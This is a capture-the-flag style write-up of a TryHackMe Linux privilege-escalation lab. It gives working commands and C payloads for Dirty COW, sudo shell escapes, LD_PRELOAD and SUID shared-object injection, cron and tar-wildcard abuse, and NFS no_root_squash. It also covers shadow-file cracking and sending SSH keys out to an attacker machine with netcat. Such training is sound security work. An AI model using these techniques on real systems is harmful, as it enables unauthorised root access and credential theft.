# Linux PrivEsc Arena

**Room Link:** <https://tryhackme.com/room/linuxprivescarena>

## Privilege Escalation - Kernel Exploits

In command prompt type:&#x20;

**Victim**

```
/home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh
```

From the output, notice that the OS is vulnerable to “dirtycow”.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FTgqPubeJQHI2inbxZRXU%2Fimage.png?alt=media&#x26;token=7fed9d58-42ed-4ac9-9ef1-afad29492582" alt=""><figcaption></figcaption></figure>

### Exploitation

Linux VM

In command prompt type:&#x20;

**Victim**

```
gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w
```

In command prompt type:&#x20;

**Victim**

```
./c0w
```

Disclaimer: This part takes 1-2 minutes - Please allow it some time to work.

In command prompt type:&#x20;

**Victim**

```
passwd
```

In command prompt type:&#x20;

**Victim**

```
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FtqKNtZtGRMF1Y6wxXwhx%2Fimage.png?alt=media&#x26;token=88314de4-9ad3-4e60-b81a-b1b57a311e9b" alt=""><figcaption></figcaption></figure>

From here, either copy /tmp/passwd back to /usr/bin/passwd or reset your machine to undo changes made to the passwd binary

**Victim**

```
ls -lah /usr/bin/passwd 
rm -f /usr/bin/passwd   
cp /tmp/bak /usr/bin/passwd 
ls -lah /usr/bin/passwd 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fl65zxlXEzYS7e1CVAJoh%2Fimage.png?alt=media&#x26;token=3aa8efbd-c074-4f1e-9452-b5a43b7b08c9" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Stored Passwords (Config Files)

From the output, make note of the value of the “auth-user-pass” directive.&#x20;

**Victim**

```
cat /home/user/myvpn.ovpn
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F4mYLmyDWz8wVvSHjIZPr%2Fimage.png?alt=media&#x26;token=ec813ade-1a42-4671-9a9f-59805a4c2125" alt=""><figcaption></figcaption></figure>

From the output, make note of the clear-text credentials.&#x20;

**Victim**

```
cat /etc/openvpn/auth.txt 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fs0slxx5B8HDSmy25kxHZ%2Fimage.png?alt=media&#x26;token=70c4fe6e-a042-44aa-b4a9-2c6346a9e368" alt=""><figcaption></figcaption></figure>

From the output, make note of the clear-text credentials.

**Victim**

```
cat /home/user/.irssi/config | grep -i passw 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FrggDoJonyjxXB132yibi%2Fimage.png?alt=media&#x26;token=24617bd2-a64c-410e-9e2a-de985e340470" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Stored Passwords (History)

**Victim**

```
cat ~/.bash_history | grep -i passw 
```

From the output, make note of the clear-text credentials.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRZyq3SUenSQBEfDx85qv%2Fimage.png?alt=media&#x26;token=6f45db14-62a4-4863-9e1f-c0f0cdf8f925" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Weak File Permissions

**Victim**

```
cat /etc/passwd
```

Save the output to a file on your attacker machine

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhS6d8gzBA859DmVbQJEL%2Fimage.png?alt=media&#x26;token=12cff9e1-a82d-4d13-a88d-2a588772d3c3" alt=""><figcaption></figcaption></figure>

**Victim**

```
cat /etc/shadow
```

Save the output to a file on your attacker machine

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7FQeI7eVUwpmFI9ITt6t%2Fimage.png?alt=media&#x26;token=f97a0d28-64f0-43df-a285-8d0b536e2d72" alt=""><figcaption></figcaption></figure>

**Kali**

```
unshadow passwd shadow > unshadowed.txt
hashcat -m 1800 unshadowed.txt rockyou.txt -O
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEKDK1zJsa3mtmjcIXuSC%2Fimage.png?alt=media&#x26;token=433b8c7f-0bce-40ba-ac54-39a8eeaf7e18" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SSH Keys

Found nothing for this box

**Victim**

```
find / -name authorized_keys 2> /dev/null
```

**Victim**

```
find / -name id_rsa 2> /dev/null
cat /backups/supersecretkeys/id_rsa
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FTm2AsiN4WecjMclDwu73%2Fimage.png?alt=media&#x26;token=aa7c0f97-fb39-4078-81bc-0f86a6e68cfb" alt=""><figcaption></figcaption></figure>

#### Netcat

**Kali(receiving)**

```
nc -l -p 1234 > id_rsa
```

**Victim(sending)**

```
nc -w 3 $KALI 1234 < id_rsa
```

**Kali**

```
chmod 400 id_rsa
ssh -i id_rsa root@$VICTIM
```

## Privilege Escalation - Sudo (Shell Escaping)

**Victim**

```
 sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F94UdMkCe9sNzc6QiG0Ni%2Fimage.png?alt=media&#x26;token=f78ee16d-bc66-405e-a113-d4664d2b22aa" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo find /bin -name nano -exec /bin/sh \;
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FfwqSlIqVCYuXFMbJaDiH%2Fimage.png?alt=media&#x26;token=91d3423b-91f4-4f13-ba06-603ae5e172b7" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo awk 'BEGIN {system("/bin/sh")}'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxmwcPco2A3I3NsCG8OJY%2Fimage.png?alt=media&#x26;token=cef6d2f0-9821-4068-9082-7bc5833b150c" alt=""><figcaption></figcaption></figure>

**Victim**

```
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjULx4zxzrgZZBPvfzLPb%2Fimage.png?alt=media&#x26;token=83d5e720-af68-4e55-9eca-55921cd7fd1b" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo vim -c '!sh'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOPQgwOarMaeQOjKSiIYX%2Fimage.png?alt=media&#x26;token=2f08e53d-0795-4568-8088-8aa214421224" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Sudo (Abusing Intended Functionality)

**Victim**

```
 sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F94UdMkCe9sNzc6QiG0Ni%2Fimage.png?alt=media&#x26;token=f78ee16d-bc66-405e-a113-d4664d2b22aa" alt=""><figcaption></figcaption></figure>

**Victim**

```
 sudo apache2 -f /etc/shadow
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FCon1MLzkL2FZYopbsspp%2Fimage.png?alt=media&#x26;token=95c8ab82-dcd7-44b0-bfeb-51a6e15e4a3f" alt=""><figcaption></figcaption></figure>

**Kali**

```
 john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
 john hash.txt --show
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fk3Syf22m3fiSV74vUbWx%2Fimage.png?alt=media&#x26;token=edac07d1-bb75-4ca4-b9f7-1920377f7666" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Sudo (LD\_PRELOAD)

**Victim**

```
 sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F94UdMkCe9sNzc6QiG0Ni%2Fimage.png?alt=media&#x26;token=f78ee16d-bc66-405e-a113-d4664d2b22aa" alt=""><figcaption></figcaption></figure>

**exploit.c**

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

**Victim**

```
gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles
sudo LD_PRELOAD=/tmp/exploit.so apache2
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6sg1lg4z7dw3oECI8PEP%2Fimage.png?alt=media&#x26;token=86b1a080-dcb3-46a3-8e7e-5cbae40d02f3" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Shared Object Injection)

**Victim**

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FMxn6Ygqb3i7TnqjkVn5b%2Fimage.png?alt=media&#x26;token=4fc0bc6b-275b-4ca3-81ac-ed9d5e7d51f6" alt=""><figcaption></figcaption></figure>

**Victim**

```
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FtpWZnqrzIDOlj50VrCyZ%2Fimage.png?alt=media&#x26;token=c72e6656-9262-4cf0-bd74-6159c721100b" alt=""><figcaption></figcaption></figure>

**Victim**

```
mkdir /home/user/.config
cd /home/user/.config
vi libcalc.c
```

**libcalc.c**

```
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

**Victim**

```
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
/usr/local/bin/suid-so
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFqWTKbzbvOqTfmZp7BEm%2Fimage.png?alt=media&#x26;token=085187ca-29b0-4685-9d8a-7207877e2db5" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Symlinks)

**Victim #1**

```
 dpkg -l | grep nginx
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F31FdWrIfdx2Yamt69PKr%2Fimage.png?alt=media&#x26;token=16d5d628-e73e-4690-8f6f-8bb07995d2e1" alt=""><figcaption></figcaption></figure>

**Victim #1**

```
su -l www-data
```

**Victim #1**

```
/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log
```

**Victim #2**

```
invoke-rc.d nginx rotate >/dev/null 2>&1
```

**Victim #1**

```
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJ6WX9s7R0mtDD3Qktf4F%2Fimage.png?alt=media&#x26;token=0ba4f93b-68fe-4d5e-93f8-2b720b3dd3da" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Environment Variables #1)

### Detection

**Victim**

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGxSs3cO59DSq82t8An0v%2Fimage.png?alt=media&#x26;token=74b35d79-64c3-426f-acba-3d23eb2b482a" alt=""><figcaption></figcaption></figure>

**Victim**

```
strings /usr/local/bin/suid-env
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FLOq5N2IjmUkGyXviIahd%2Fimage.png?alt=media&#x26;token=1f07795f-b0d3-4f38-b112-98f96f527f4a" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
```

**Victim**

```
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suid-env
```

**Victim**

```
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fj2j8GgzoMfd82zn0CgVD%2Fimage.png?alt=media&#x26;token=8a7da35e-1cb4-4935-a02d-fa90a2a355cd" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - SUID (Environment Variables #2)

### Detection

**Victim**

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5o6EjduNudw1rl7L3g62%2Fimage.png?alt=media&#x26;token=0ac2855d-85dd-4374-bb39-268125aecf18" alt=""><figcaption></figcaption></figure>

**Victim**

```
/usr/local/bin/suid-env2
```

### Exploitation Method #1

**Victim**

```
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
```

**Victim**

```
export -f /usr/sbin/service
```

**Victim**

```
/usr/local/bin/suid-env2
```

### Exploitation Method #2

**Victim**

```
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
```

## Privilege Escalation - Capabilities

**Victim**

```
getcap -r / 2>/dev/null
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FZEDUOQKwvWU3h9MfcNPM%2Fimage.png?alt=media&#x26;token=2d6338ca-6877-41d9-bae5-a991b7d79172" alt=""><figcaption></figcaption></figure>

**Victim**

```
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDwsSIIcuMq74m54ZjOF4%2Fimage.png?alt=media&#x26;token=10e23256-7ac8-4942-bea4-e56e91dc3b66" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Cron (Path)

### Detection

**Victim**

```
cat /etc/crontab
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FiSvnNO5GOAHumGIE98Ut%2Fimage.png?alt=media&#x26;token=7f5c491a-d48e-4304-9db0-5912917a3984" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh
```

Wait 1 minute for the Bash script to execute.

**Victim**

```
/tmp/bash -p
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FnXHDDICLHSxYQ2kdDjZM%2Fimage.png?alt=media&#x26;token=90576e60-8a1c-416a-bf66-ed6745a78f35" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Cron (Wildcards)

### Detection

From the output, notice the script “/usr/local/bin/compress.sh”

**Victim**

```
cat /etc/crontab
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHPwdAiAu2Mtpq5MraNpr%2Fimage.png?alt=media&#x26;token=655d97d5-7e50-4075-8678-b8f94ee54ef7" alt=""><figcaption></figcaption></figure>

**Victim**

```
cat /usr/local/bin/compress.sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FBcv4STc7br5z5TDqVq0c%2Fimage.png?alt=media&#x26;token=cda1bb98-91e1-43c6-848e-221a56cdb70c" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
```

**Victim**

```
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh
```

**Victim**

```
/tmp/bash -p
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fqp1OZ4lp7rkaydeW7qoX%2Fimage.png?alt=media&#x26;token=2efdf53b-eecb-4c27-8bf3-b819d0a921ec" alt=""><figcaption></figcaption></figure>

## Privilege Escalation - Cron (File Overwrite)

### Detection

From the output, notice the script “overwrite.sh”

**Victim**

```
cat /etc/crontab
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F37yGe5V8AvIwR5E7T3zg%2Fimage.png?alt=media&#x26;token=843e5bec-d0e0-4967-ae35-a7d099611d03" alt=""><figcaption></figcaption></figure>

From the output, notice the file permissions.

**Victim**

```
ls -l /usr/local/bin/overwrite.sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FunvSeg6uYlK4uiueQSbJ%2Fimage.png?alt=media&#x26;token=8725e5b0-318c-4746-bf4b-f2268cedcc90" alt=""><figcaption></figcaption></figure>

### Exploitation

**Victim**

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
```

Wait 1 minute for the Bash script to execute.

**Victim**

```
/tmp/bash -p
id
```

## Privilege Escalation - NFS Root Squashing

### Detection

From the output, notice that “no\_root\_squash” option is defined for the “/tmp” export.

**Victim**

```
cat /etc/exports
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6Ju9omY2Q8IHNgdDtpN7%2Fimage.png?alt=media&#x26;token=5fda0d0a-9911-4165-a77f-d9a24a3f1d93" alt=""><figcaption></figcaption></figure>

### Exploitation

**Kali**

```
showmount -e $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FI1RO6L7iwHTyBSIzCWxl%2Fimage.png?alt=media&#x26;token=ac0f07e8-f844-452d-bc48-917d9efdcb88" alt=""><figcaption></figcaption></figure>

**Kali**

```
mkdir /tmp/1
mount -o rw,vers=2 10.10.26.171:/tmp /tmp/1
```

**Kali**

```
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
```

**Kali**

```
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x
```

**Victim**

```
/tmp/x
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fe0HoHm3QFN4Aj0TdL29B%2Fimage.png?alt=media&#x26;token=a79fed34-00e2-4ced-9e5d-2e2ccdafa1ce" alt=""><figcaption></figcaption></figure>
